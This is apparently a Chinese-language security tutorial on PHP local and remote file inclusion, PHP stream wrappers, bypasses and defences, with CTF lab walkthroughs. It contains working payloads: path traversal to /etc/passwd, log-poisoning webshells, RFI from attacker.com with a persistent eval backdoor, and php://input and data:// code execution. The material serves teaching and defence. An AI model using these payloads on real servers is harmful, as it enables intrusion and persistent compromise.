Web渗透之前后端漏洞-文件包含漏洞

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、本地文件包含

一、什么是本地文件包含

二、漏洞产生的原因

三、本地文件包含的典型利用

[1. 读取敏感文件](#1. 读取敏感文件)

[2. 结合日志注入获得 Webshell](#2. 结合日志注入获得 Webshell)

[3. 配合文件上传](#3. 配合文件上传)

[4. 使用 PHP 伪协议绕过扩展名限制](#4. 使用 PHP 伪协议绕过扩展名限制)

四、本地文件包含的进阶利用

五、常见本地文件包含的绕过技巧

六、本地文件包含的危害

七、防御措施

八、与远程文件包含的区别

九、总结

十、靶场演示

文件包含:

[极客大挑战 2019Secret File](#[极客大挑战 2019]Secret File)

二、远程文件包含

一、什么是远程文件包含

二、与本地文件包含(LFI)的区别

三、远程文件包含的利用条件

四、典型攻击步骤

[Step 1:准备恶意脚本](#Step 1:准备恶意脚本)

[Step 2:触发远程包含](#Step 2:触发远程包含)

[Step 3:执行系统命令](#Step 3:执行系统命令)

[Step 4:写入后门(可选)](#Step 4:写入后门(可选))

五、常见的远程文件包含绕过

[六、RFI 的高级利用](#六、RFI 的高级利用)

[1. 使用 php://input(也是一种 RFI)](#1. 使用 php://input(也是一种 RFI))

[2. 使用 data:// 协议](#2. 使用 data:// 协议)

[3. 使用 expect:// 协议(需安装 expect 扩展)](#3. 使用 expect:// 协议(需安装 expect 扩展))

七、远程文件包含的危害

八、防御措施

[九、实际案例(CTF 常见题型)](#九、实际案例(CTF 常见题型))

十、总结

十一、靶场简单演示

远程包含:

三、伪协议

[一、什么是 PHP 伪协议](#一、什么是 PHP 伪协议)

二、各伪协议详解与利用示例

[1. php://filter ------ 读取 PHP 源码](#1. php://filter —— 读取 PHP 源码)

[2. php://input ------ 执行任意 POST 数据](#2. php://input —— 执行任意 POST 数据)

[3. data:// ------ 内联代码执行](#3. data:// —— 内联代码执行)

[4. zip:// ------ 包含压缩包内的文件](#4. zip:// —— 包含压缩包内的文件)

[5. phar:// ------ 包含 PHAR 包内的文件](#5. phar:// —— 包含 PHAR 包内的文件)

[6. file:// ------ 访问本地文件](#6. file:// —— 访问本地文件)

[7. http:// / https:// ------ 远程文件包含(RFI)](#7. http:// / https:// —— 远程文件包含(RFI))

[三、CTF 实战常用 Payload](#三、CTF 实战常用 Payload)

四、防御措施

五、总结

六、靶场推荐

[CTFHub 伪协议相关题目速查表](#CTFHub 伪协议相关题目速查表)

[BUUCTF 伪协议相关题目速查表](#BUUCTF 伪协议相关题目速查表)

四、文件包含漏洞的防御与绕过

一、防御措施

[1. 输入验证与过滤](#1. 输入验证与过滤)

[2. PHP 配置安全加固](#2. PHP 配置安全加固)

[3. 代码层防御](#3. 代码层防御)

[4. 服务器配置](#4. 服务器配置)

[5. 开发规范](#5. 开发规范)

二、绕过技术(攻击者视角)

[1. 路径遍历绕过](#1. 路径遍历绕过)

[2. 编码绕过](#2. 编码绕过)

[3. 远程文件包含(RFI)绕过](#3. 远程文件包含(RFI)绕过)

[4. 伪协议绕过](#4. 伪协议绕过)

[5. 日志注入绕过](#5. 日志注入绕过)

[6. 配合文件上传](#6. 配合文件上传)

[7. 环境变量与进程文件](#7. 环境变量与进程文件)

[8. 绕过 open_basedir](#8. 绕过 open_basedir)

三、防御与绕过对抗示例

四、总结

一、本地文件包含

一、什么是本地文件包含

本地文件包含(Local File Inclusion,LFI) 是指 Web 应用程序在动态包含文件时,对用户输入的路径参数未进行严格过滤 ,导致攻击者可以通过构造特殊的路径(如 ../../../../etc/passwd)读取或执行服务器本地的文件。

简单来说:攻击者利用程序的文件包含功能,读取或执行服务器上本不该被访问的文件。

二、漏洞产生的原因

开发人员为了代码复用,经常使用动态包含机制:

复制代码
$page = $_GET['page'];
include($page . ".php");

如果用户可控的 $page 没有被过滤,攻击者可以传入:

  • ../../../../etc/passwd → 读取系统密码文件

  • ../../../../proc/self/environ → 读取环境变量

  • php://filter/convert.base64-encode/resource=config.php → 读取 PHP 源码(需要开启伪协议)

三、本地文件包含的典型利用

1. 读取敏感文件
复制代码
http://target.com/index.php?page=../../../../etc/passwd
http://target.com/index.php?page=../../../../var/log/apache/access.log
2. 结合日志注入获得 Webshell

如果 Web 服务器将用户请求记录到日志文件(如 access.log),攻击者可以在 User-Agent 中写入 PHP 代码:

复制代码
User-Agent: <?php system($_GET['cmd']); ?>

然后通过 LFI 包含该日志文件,执行代码。

3. 配合文件上传

上传一个图片马(内容为 <?php phpinfo(); ?>),然后通过 LFI 包含该图片文件,使其中的 PHP 代码被执行。

4. 使用 PHP 伪协议绕过扩展名限制
复制代码
// 假设 include($_GET['page'] . ".php");
// 使用空字节截断(旧版本有效)
?page=../../../../etc/passwd%00
​
// 使用伪协议读取源码
?page=php://filter/convert.base64-encode/resource=config

四、本地文件包含的进阶利用

利用方式 说明
远程文件包含(RFI) allow_url_include=On,可直接包含远程服务器上的恶意脚本,如 http://attacker.com/shell.txt
包含上传的文件 结合文件上传漏洞,包含上传的图片马或临时文件
包含环境变量/进程文件 读取 /proc/self/environ 获取敏感环境变量
包含 SSH 日志 在某些配置下,可以包含 /var/log/auth.log,并通过恶意用户名注入代码
包含 Session 文件 如果 Session 内容可控,可写入 PHP 代码并包含

五、常见本地文件包含的绕过技巧

防御措施 绕过方法
添加固定后缀 .php 使用路径截断(%00,仅 PHP<5.3.4)或使用 ? 截断
过滤 ../ 双写 ....//(过滤后剩下 ../)或使用编码 %2e%2e%2f
过滤 etc/passwd 使用绝对路径 /etc/passwd 或大小写混淆
限制目录 使用 ../../../../../var/log/../etc/passwd

六、本地文件包含的危害

  • 信息泄露:读取配置文件、数据库密码、源代码。

  • 代码执行:配合日志注入、文件上传等,获得 Webshell。

  • 权限提升:读取系统敏感文件,获取进一步的攻击目标。

  • 内网探测 :读取 /proc/net/arp 等网络信息。

七、防御措施

  1. 关闭危险配置

    • allow_url_include = Off(关闭远程文件包含)

    • allow_url_fopen = Off

  2. 使用白名单

    复制代码
    $allowed = array('home', 'about', 'contact');
    if(in_array($_GET['page'], $allowed)) {
        include($_GET['page'] . '.php');
    }
  3. 过滤用户输入

    • 禁止 ../\%00php://file:// 等危险字符。

    • 使用 realpath() 检查文件是否在指定目录内。

  4. 设置 open_basedir:限制 PHP 可访问的目录范围。

  5. 禁用不必要的伪协议 :在 php.ini 中禁用 php://inputphp://filter 等(如果不需要)。

  6. Web 服务器配置:禁止访问日志、配置文件等敏感目录。

八、与远程文件包含的区别

对比 本地文件包含 (LFI) 远程文件包含 (RFI)
包含的文件位置 本地服务器文件 远程服务器文件(HTTP/HTTPS)
前提条件 无特殊配置 allow_url_include=On
典型用途 读取系统文件、日志注入 直接执行远程恶意脚本
危害程度 极高(直接 Getshell)

九、总结

本地文件包含漏洞的本质是对用户输入的文件路径缺乏验证 ,导致攻击者可以越权访问服务器上的任意文件。结合日志注入、文件上传、伪协议等技术,可以进一步实现代码执行和权限提升。开发者必须永远不要信任用户的输入,使用白名单、限制访问范围、关闭危险配置才能有效防御

十、靶场演示

文件包含:

构造执行phpinfo()命令的Payload,需要将POST参数设置为ctfhub=phpinfo();

用火狐浏览器的hackbar填入一下内容

构造执行查看当前目录下文件命令(ls)的Payload,需要将POST参数设置为ctfhub=system("ls");

构造执行查看根目录下文件命令(ls /)的Payload,需要将POST参数设置为ctfhub=system("ls /");

构造执行查看根目录下flag文件内容命令 (cat /flag)的Payload,需要将POST参数设置为ctfhub=system("cat /flag");

得到flag

极客大挑战 2019Secret File

一、信息收集阶段

  1. 查看首页源代码

· 操作:浏览器右键 → 查看源代码(或 F12 Elements) · 发现:页面注释或隐藏标签中包含 Archive_room.php · 原理:前端代码中通过注释或隐藏元素提供线索

  1. 访问 Archive_room.php

· 操作:直接访问 http://靶场/Archive_room.php · 发现:新页面有一个"SECRET"按钮,点击后跳转到 end.php

  1. 使用 Burp Suite 抓包

· 操作:打开 Burp 代理,点击"SECRET"按钮,拦截请求 · 发现:实际请求先经过 action.php,响应中携带 secr3t.php 的链接,然后才重定向到 end.php · 原理:利用抓包工具查看中间跳转,找到真实入口

  1. 访问 secr3t.php

· 操作:在浏览器地址栏输入 http://靶场/secr3t.php · 结果:页面显示 PHP 源码,内容如下:

复制代码
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")){
    echo "Oh no!";
    exit();
}
include($file);
// flag放在了flag.php里

· 原理:通过直接访问文件,获得源码,发现文件包含漏洞及黑名单过滤规则


二、漏洞利用阶段

  1. 构造最终 Payload

· 命令(URL 参数):

复制代码
?file=php://filter/convert.base64-encode/resource=flag.php

· 完整访问 URL:

复制代码
http://靶场/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

原理详解

· 文件包含漏洞:include($_GET'file') 可包含任意文件 · 黑名单限制:过滤了 ../、tp、input,但未过滤 php:// · 为什么不能直接 include('flag.php'):因为 flag.php 中的 PHP 代码会被执行,用户看不到源码 · php://filter 伪协议:可对文件内容进行过滤转换 · convert.base64-encode 将文件内容进行 Base64 编码 后返回 · 这样 include() 包含的是编码后的纯文本,PHP 代码不会被执行,因此我们能直接看到 flag.php 的原始代码 · 资源指定:resource=flag.php 指明目标文件


三、获取 Flag

  1. 解码 Base64

· 操作:复制页面返回的 Base64 字符串,在本地执行:

复制代码
echo "base64字符串" | base64 -d

或使用在线解码工具 · 结果:得到 flag.php 的源码,其中包含 flag{...} 或 ctfhub{...} 形式的 flag

二、远程文件包含

一、什么是远程文件包含

远程文件包含(Remote File Inclusion,RFI) 是指 Web 应用程序在动态包含文件时,允许包含远程服务器上的文件(通过 HTTP、FTP 等协议),并且对用户输入的路径参数未做严格过滤,导致攻击者可以指定一个恶意远程文件,使服务器下载并执行该文件中的代码。

简单说:攻击者让目标服务器去加载自己控制的服务器上的恶意脚本,从而在目标服务器上执行任意代码。

二、与本地文件包含(LFI)的区别

对比项 本地文件包含(LFI) 远程文件包含(RFI)
包含的文件来源 本地服务器文件系统 远程服务器(HTTP/HTTPS/FTP等)
PHP 配置要求 无特殊要求,通常默认开启 必须开启 allow_url_include = On(PHP 5.2 起默认 Off)
典型利用 读取 /etc/passwd、日志注入、包含上传的图片马 直接执行远程恶意脚本,一句命令即可获取 WebShell
危害程度 高(需要配合其他漏洞才能执行代码) 极高(直接代码执行,无需其他条件)
常见伪协议 php://filterfile://zip:// http://https://ftp://php://input(也算 RFI)

三、远程文件包含的利用条件

  1. PHP 配置

    • allow_url_include = On(PHP 5.2 之后默认关闭)

    • allow_url_fopen = On(通常开启,用于读取远程内容)

  2. 应用代码缺陷

    复制代码
    $file = $_GET['page'];
    include($file);   // 直接包含用户传入的参数,无任何过滤
  3. 远程服务器可被访问:攻击者需要有一个公网可访问的服务器,存放恶意脚本。

四、典型攻击步骤

Step 1:准备恶意脚本

在攻击者服务器(http://attacker.com/)上创建一个文本文件 shell.txt,内容为:

复制代码
<?php system($_GET['cmd']); ?>

或直接写入一句话木马:

复制代码
<?php eval($_POST['0']); ?>
Step 2:触发远程包含

访问目标网站的漏洞点:

复制代码
http://target.com/index.php?page=http://attacker.com/shell.txt

如果目标服务器开启了 allow_url_include,它会下载 shell.txt 并将其中的 PHP 代码当作本地代码执行。

Step 3:执行系统命令
复制代码
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id

返回 uid=33(www-data) ...,证明命令执行成功。

Step 4:写入后门(可选)

利用 RFI 写入一个持久化的 WebShell:

复制代码
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=echo '<?php eval($_POST[0]);?>' > shell.php

之后直接访问 shell.php 即可。

五、常见的远程文件包含绕过

防御措施 绕过方法
添加固定后缀 .php 使用 ?# 截断,如 http://attacker.com/shell.txt?(部分版本有效)
过滤 http:// 使用大写 HTTP://,或使用 ftp://php://input 等替代
过滤远程协议 使用 data://text/plain,<?php system($_GET['cmd']);?>(需要 allow_url_include
检查扩展名 使用 http://attacker.com/shell.jpg(内容仍为 PHP 代码)
限制目录 使用 ../ 跳出目录,如 page=http://attacker.com/shell.txt?../../../../

六、RFI 的高级利用

1. 使用 php://input(也是一种 RFI)
复制代码
POST /index.php?page=php://input HTTP/1.1
Host: target.com
Content-Type: text/plain
​
<?php system($_GET['cmd']); ?>

不需要外部服务器,直接通过 POST 数据提供代码。

2. 使用 data:// 协议
复制代码
?page=data://text/plain,<?php system('id'); ?>

需要 allow_url_include=On,且 PHP 版本支持。

3. 使用 expect:// 协议(需安装 expect 扩展)
复制代码
?page=expect://id

七、远程文件包含的危害

  • 直接代码执行:无需上传文件、无需日志注入,一条 URL 即可获得 Shell。

  • 绕过文件上传限制:即使上传功能被严格防护,RFI 仍可导致 Getshell。

  • 内网漫游:可进一步执行内网扫描、反弹 Shell 等。

  • 持久化后门:利用 RFI 在服务器上写入永久后门文件。

八、防御措施

层级 具体方法
PHP 配置 allow_url_include = Off最有效、最简单allow_url_fopen = Off(可选)
代码层面 - 使用白名单 机制,只允许包含预设的文件。 - 过滤 http://https://ftp://php://data:// 等协议。 - 使用 realpath() 检查文件是否在允许的目录内。
Web 服务器 配置 open_basedir 限制 PHP 可访问的目录。
输入过滤 删除所有 ://..\0 等危险字符。

九、实际案例(CTF 常见题型)

题目描述 :一个简单的 PHP 页面 ?file=home,访问 ?file=../../../../etc/passwd 无反应,尝试 ?file=http://127.0.0.1/index.php 返回自身源码,说明开启了 allow_url_include

解法

  1. 准备远程服务器,写入 <?php system('cat /flag'); ?>

  2. 访问 ?file=http://attacker.com/shell.txt

  3. 页面直接返回 flag。

或者利用 php://input

复制代码
POST /?file=php://input HTTP/1.1
Content-Type: text/plain
​
<?php system('cat /flag'); ?>

十、总结

远程文件包含(RFI)是比 LFI 更危险的漏洞,因为它直接允许攻击者在目标服务器上执行任意代码,且利用门槛很低(只需要一个可访问的 URL)。防御的核心是关闭 allow_url_include,并在代码中采用白名单包含策略。任何对外部传入文件路径的盲目信任都可能酿成灾难性后果。

十一、靶场简单演示

远程包含:

跟上个步骤相同

查看是否符合条件

复制代码
php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off (默认关闭)要开启(On表示开启)

继续用bp抓包放包

改一下shell,放包找到flag

三、伪协议

一、什么是 PHP 伪协议

PHP 支持多种 封装协议(Wrapper) ,允许通过 includefile_get_contentsreadfile 等函数访问不同的数据源。攻击者可以利用这些协议绕过过滤、读取源码、执行任意代码,从而扩展文件包含漏洞的攻击面。

常见的 PHP 伪协议包括:

协议 功能 前提条件
php://filter 读取文件源码(编码/转换) 无需特殊配置
php://input 将 POST 数据作为 PHP 代码执行 allow_url_include=On
data:// 内联数据流 allow_url_include=On
zip:// 访问压缩包内的文件 需要上传 zip 文件
phar:// 访问 PHP Archive 内的文件 需要上传 phar 文件
file:// 访问本地文件系统(默认) 默认可用
http:// / https:// 远程文件包含(RFI) allow_url_include=On

二、各伪协议详解与利用示例

1. php://filter ------ 读取 PHP 源码

作用:读取文件内容并进行过滤/编码,常用于读取 PHP 源码(避免直接包含被执行)。

语法

复制代码
php://filter/convert.base64-encode/resource=file.php

示例

复制代码
// 假设存在文件包含漏洞
include($_GET['file']);
​
// 攻击者访问
?file=php://filter/convert.base64-encode/resource=index.php

服务器返回 index.phpBase64 编码内容,解码后即可获得原始源码。

变种

  • 多个过滤器链:php://filter/string.toupper|string.rot13/resource=flag.php

  • 读取其他文件:/etc/passwdconfig.php../flag 等。

特点 :不需要 allow_url_include 开启,几乎 100% 可用。

2. php://input ------ 执行任意 POST 数据

作用:将 HTTP 请求的原始 Body 当作 PHP 代码执行。

前提allow_url_include = On

示例

复制代码
POST /index.php?file=php://input HTTP/1.1
Host: target.com
Content-Type: text/plain
​
<?php system('id'); ?>

如果代码中存在 include($_GET['file']),上述 POST 数据中的 PHP 代码会被执行。

特点:直接获得代码执行,无需上传文件,是 RFI 的常用替代方案。

3. data:// ------ 内联代码执行

作用:将 Base64 或 URL 编码的数据作为文件内容包含。

前提allow_url_include = On

语法

复制代码
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

示例

复制代码
?file=data://text/plain,<?php system('cat /flag'); ?>

或使用 Base64:

复制代码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

特点:无需外部服务器,一条 URL 直接执行代码。

4. zip:// ------ 包含压缩包内的文件

作用:读取 ZIP 压缩包内的指定文件,并可将其作为脚本执行。

前提:需要上传一个 ZIP 文件到服务器(通过其他漏洞,如文件上传、写文件等)。

语法

复制代码
zip://path/to/archive.zip%23inner_file.php

注意:# 必须编码为 %23

示例

  1. 创建 shell.php 内容为 <?php system($_GET['cmd']); ?>

  2. 压缩为 shell.zip 并上传到服务器(如 /uploads/shell.zip)。

  3. 利用 LFI 包含:

    复制代码
    ?file=zip://uploads/shell.zip%23shell.php
  4. 访问 ?cmd=id 即可执行命令。

特点 :可绕过某些扩展名过滤(只允许上传 .zip),且压缩包内文件扩展名任意。

5. phar:// ------ 包含 PHAR 包内的文件

作用 :类似 zip://,但用于 PHP Archive 格式,常与反序列化漏洞配合。

前提 :需要上传 .phar 文件。

示例

复制代码
?file=phar://uploads/shell.phar/shell.php

高级利用 :攻击者可以构造恶意的 PHAR 元数据,当通过 phar:// 包含时触发 PHP 反序列化,造成更严重的代码执行。

6. file:// ------ 访问本地文件

作用:直接读取本地文件(默认行为),通常不需要显式指定,但可用于绕过某些过滤。

示例

复制代码
?file=file:///etc/passwd

如果 Web 应用过滤了 ../ 但没有过滤 file://,可以使用该协议进行路径遍历。

7. http:// / https:// ------ 远程文件包含(RFI)

作用:包含远程服务器上的文件。

前提allow_url_include = Onallow_url_fopen = On

示例

复制代码
?file=http://attacker.com/shell.txt

shell.txt 内容为 <?php system('id'); ?>

特点:直接代码执行,但需外部服务器,且经常被 WAF 拦截。


三、CTF 实战常用 Payload

目的 Payload
读取 index.php 源码 ?file=php://filter/convert.base64-encode/resource=index.php
执行 phpinfo() ?file=data://text/plain,<?=phpinfo();?>
执行系统命令(POST) POST file=php://input + Body <?php system('ls');?>
包含上传的 zip 中的 PHP ?file=zip://uploads/shell.zip%23shell.php
包含远程脚本(RFI) ?file=http://vps/shell.txt
读取 flag(无扩展名) ?file=php://filter/convert.base64-encode/resource=../flag

四、防御措施

  1. 禁用危险协议

    复制代码
    allow_url_include = Off
    allow_url_fopen = Off

    并在 php.ini 中通过 disable_functions 或配置禁用 php://filter?(无法完全禁用,但可通过 open_basedir 限制读取范围)

  2. 白名单包含

    复制代码
    $allowed = array('home', 'about');
    if(in_array($_GET['page'], $allowed)) {
        include($_GET['page'] . '.php');
    }
  3. 输入过滤 :移除 php://data://http://ftp:// 等特征字符串,以及 ../\0%00 等。

  4. 使用 realpath() 检查路径

    复制代码
    $base = '/var/www/html/includes/';
    $path = realpath($base . $_GET['file']);
    if(strpos($path, $base) !== 0) die('Hack');
    include($path);
  5. 关闭错误回显:避免泄露路径信息。

  6. Web 服务器限制 :设置 open_basedir 限制 PHP 可访问的目录。


五、总结

PHP 伪协议是文件包含漏洞利用中的利器,能将简单的包含漏洞升级为源码泄露、任意代码执行甚至服务器沦陷。理解每种协议的功能和限制,对于渗透测试和漏洞修复都至关重要。

防御的核心是 拒绝用户控制包含路径,采用白名单、禁用危险协议、严格过滤输入,多管齐下才能有效阻断此类攻击。

六、靶场推荐

关于伪协议的靶场演示可以看我的ctfhub与buuctf解题笔记

CTFHub 伪协议相关题目速查表
  • CTFHub RCE基础 - 第二题 (文件包含) :概念性题目,理解 include 函数及其风险。

  • CTFHub RCE基础 - 第三题 (php:input) :核心是利用 php://input 协议,通过 POST 请求发送执行代码来获取 Flag。

  • CTFHub RCE基础 - 第四题 (读取源代码) :利用 php://filter 协议读取文件源码。

  • CTFHub RCE基础 - 第五题 (远程包含) :考查 RFI(Remote File Inclusion),通过 http:// 等协议包含远程服务器上的恶意文件执行代码。

  • CTFHub 文件包含 - CTF-04 :考查 php://filter 协议,用于读取系统文件。

  • CTFHub 文件包含 - 读取源代码 :明确考查 php://filter 协议,以 Base64 编码方式读取 flag.php 等文件的源码。

  • CTFHub php://input :专门考查 php://input 协议,在文件包含点执行代码。

  • CTFHub SSRF 伪协议读取文件 :考查 SSRF(Server-Side Request Forgery,即服务端请求伪造)中 file:// 协议,用于读取服务器本地文件。

BUUCTF 伪协议相关题目速查表
  • GXYCTF2019BabysqliV3.01 :考查 php://filter 协议,用于读取服务器文件源码。

  • ZJCTF 2019NiZhuanSiWei :三重混合挑战,同时考查 data://php://filterphp://input 协议。

  • ACTF2020 新生赛Include :核心考点是 php://filter,用于读取 flag.php 的源码。

  • NPUCTF2020ezinclude :进阶应用,考查用 php://filter 触发 PHP 段错误来获取并包含临时文件。

  • 极客大挑战 2019Secret File :一个需要读取源码的题目,常配合 php://filter 解法。

  • 极客大挑战 2019Http :部分解法会用到 php://filter 读取源码辅助解题。

四、文件包含漏洞的防御与绕过

一、防御措施

1. 输入验证与过滤

原则:永远不要直接使用用户输入作为文件路径。

防御方式 具体实现 说明
白名单 允许的值写死在代码中,如 ['home','about','contact'] 最安全,完全避免路径遍历
黑名单 过滤 ../..\\0://php:// 容易被绕过,不推荐作为唯一防线
正则校验 if(preg_match('/^[a-z]+$/', $page)) 仅允许字母,限制严格
2. PHP 配置安全加固
配置项 推荐值 作用
allow_url_include Off 禁止远程文件包含(RFI)
allow_url_fopen Off(若非必要) 禁止读取远程文件
open_basedir 限制 PHP 可访问的目录,如 /var/www/html/ 防止读取系统敏感文件
disable_functions 禁用危险函数:include, require 等(慎用) 或使用 disable_classes
3. 代码层防御
  • 固定路径前缀

    复制代码
    $base_dir = '/var/www/html/includes/';
    $file = basename($_GET['page']);          // 去掉路径
    include($base_dir . $file . '.php');
  • 使用 realpath() 检查

    复制代码
    $path = realpath($base_dir . $_GET['page']);
    if(strpos($path, $base_dir) !== 0) {
        die('非法路径');
    }
    include($path);
  • 关闭错误回显:防止路径信息泄露。

4. 服务器配置
  • Web服务器权限 :Web 用户(如 www-data)对系统文件(如 /etc/passwd)应无读取权限(通过操作系统 DAC 控制)。

  • 日志目录不可访问 :确保 /var/log/ 不被 Web 直接读取(通过 open_basedir 或文件权限)。

  • 禁用不必要的协议 :如 php://inputphp://filter,可在 php.ini 中通过 disable_wrappers 限制。

5. 开发规范
  • 避免动态包含,采用路由分发机制。

  • 使用模板引擎(如 Twig、Smarty)自动转义包含路径。

  • 代码审计时重点搜索 includerequireinclude_oncerequire_once 等函数。


二、绕过技术(攻击者视角)

以下技术仅供安全测试与授权渗透使用。

1. 路径遍历绕过
防御 绕过方法
过滤 ../ 双写 ....// → 过滤后剩下 ../ 编码 %2e%2e%2f 利用绝对路径 /etc/passwd(若未过滤)
过滤 .. 使用 ....../..././
限制基础目录 使用 ../../../../../ 跳出多个目录
后缀自动添加 .php 使用空字节截断 %00(仅 PHP < 5.3.4) 使用 ? 截断 page=../../etc/passwd? 使用 # 截断(URL 编码 %23
2. 编码绕过
  • URL 编码%2e%2e%2f../

  • 双 URL 编码%252e%252e%252f

  • Unicode 编码%c0%ae%c0%ae%c0%af(IIS 特定)

  • 16 进制\x2e\x2e\x2f(部分语言)

3. 远程文件包含(RFI)绕过

前提:allow_url_include = On

防御 绕过方法
过滤 http:// 使用 HTTP://http://(大小写) 使用 ftp://ftps://php://inputdata://
后缀强制 .php 使用 ? 截断:http://attacker.com/shell.txt? 使用 # 截断:http://attacker.com/shell.txt# 使用 %00 截断
域名白名单 寻找允许的域名下的 JSONP 接口上传点
4. 伪协议绕过
协议 用途 前提条件
php://filter 读取 PHP 源码:php://filter/convert.base64-encode/resource=index.php 无特殊要求
php://input 执行 POST 数据中的代码:POST /?page=php://input + <?php system('id');?> allow_url_include=On
data:// 直接注入代码:?page=data://text/plain,<?php system('id');?> allow_url_include=On
zip:// 包含 zip 中的文件:?page=zip://shell.zip%23shell.php 需要上传 zip 文件
phar:// 包含 phar 包中的文件(常用于反序列化) 需上传 phar 文件
5. 日志注入绕过
  • 原理 :包含 Web 服务器或应用的日志文件,其中攻击者已通过 User-AgentReferer 等写入 PHP 代码。
日志文件路径 注入方式
/var/log/apache2/access.log User-Agent: <?php system($_GET['cmd']);?>
/var/log/nginx/access.log 同上
/var/log/auth.log SSH 登录尝试的用户名中包含 PHP 代码
/tmp/sess_*(PHP Session) 通过 session 参数写入
  • 绕过过滤 :如果日志文件被过滤,尝试 <?= system('id');?>(短标签)或 <script language="php">system('id');</script>
6. 配合文件上传
  • 上传图片马(内容含 PHP 代码),然后通过 LFI 包含该图片文件。

  • 如果图片被重命名,需猜测新路径或结合 phar:// / zip:// 协议。

7. 环境变量与进程文件
  • /proc/self/environ:包含环境变量,可通过 User-Agent 注入。

  • /proc/self/fd/N:访问进程打开的文件描述符,可能包含临时文件。

  • /proc/self/cmdline:命令行参数,可能泄露路径。

8. 绕过 open_basedir
  • 使用 DirectoryIteratorglob 协议(如果允许)读取目录。

  • 利用 ini_set() 尝试修改(通常被禁用)。

  • 使用 realpath() 配合路径拼接突破。


三、防御与绕过对抗示例

防御措施 绕过技巧 进一步防御
白名单包含 无法绕过 -
过滤 ../ ....// 双写 递归删除 .. 直到无变化
强制添加 .php %00 截断(旧版 PHP) 升级 PHP 版本,禁止空字节
关闭 allow_url_include 无法 RFI,但 LFI 仍可读文件 配合 open_basedir 限制读取范围
open_basedir 限制目录 使用 zip://phar:// 协议(若未禁用) 禁用危险协议

四、总结

  • 最有效的防御 :白名单 + 禁用远程包含 + open_basedir + 文件权限最小化。

  • 绕过的核心思路:寻找过滤规则的漏洞(截断、编码、双写),利用各种 PHP 伪协议或日志文件。

  • 现实场景:LFI 比 RFI 更常见(因 RFI 默认关闭),但 LFI 往往需要配合文件上传或日志注入才能获得代码执行。

相关推荐
CV艺术家1 小时前
前端免费高效的接入天气组件(天气网),控制组件的样式
前端
hunterandroid1 小时前
RecyclerView 进阶:DiffUtil 与列表更新
前端
_codeOH1 小时前
Vue 3 vs React 19:框架还在卷,核心原理就这些
前端·vue.js
the_answer1 小时前
CSS 新时代:浏览器原生能力如何重塑前端开发范式
前端
不会写DN1 小时前
固定背景图不随页面滚动的完美方案
前端
terry6001 小时前
2026图形验证码服务商横向测评|口碑、接入、安全选型全指南
java·大数据·人工智能·web安全·信息与通信·数据库架构
天蓝色的鱼鱼1 小时前
Vite 8 换上 Rolldown 后,前端构建真的会快很多吗?
前端·vite
梦曦i2 小时前
全面解析uni-router v1.2.0功能
前端·uni-app
Yiyaoshujuku2 小时前
化学谱图数据API接口,数据字段一览!
linux·服务器·前端